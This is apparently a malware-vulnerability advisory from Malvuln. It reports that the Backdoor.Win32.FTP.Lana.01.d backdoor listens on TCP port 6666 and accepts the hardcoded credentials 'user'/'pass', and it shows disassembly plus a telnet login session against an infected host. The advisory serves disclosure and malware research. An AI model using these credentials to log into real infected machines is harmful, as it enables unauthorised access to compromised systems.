Backdoor.Win32.FTP.Lana.01.d Weak Hardcoded Password

Backdoor.Win32.FTP.Lana.01.d malware suffers from having a weak hardcoded password.

MD5 | 9339341baa566b6c6f3ef3c81f9a9688

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable.
Type: PE32
MD5: fc100ff65f676a26293915407adc211c
Vuln ID: MVID-2022-0468
Dropped files: FTP.exe
Disclosure: 01/24/2022

.text:00402C08 push offset aUser ; "user"
.text:00402C0D push eax ; lpString1
.text:00402C0E call lstrcmpiA
.text:00402C13 or eax, eax

.text:00402C71 jz short loc_402CB0
.text:00402C73 mov eax, [ebp+lpString1]
.text:00402C76 add eax, 5
.text:00402C79 push offset aPass ; "pass"

telnet.exe x.x.x.x 6666
220 Anal FTP v0.1
USER user
331 Password required for user.
PASS pass
230 User logged in, proceed.
215 UNIX Type: L8
227 Entering Passive Mode (192,168,18,129,225,245).
150 Data connection accepted.
226 Transfer ok

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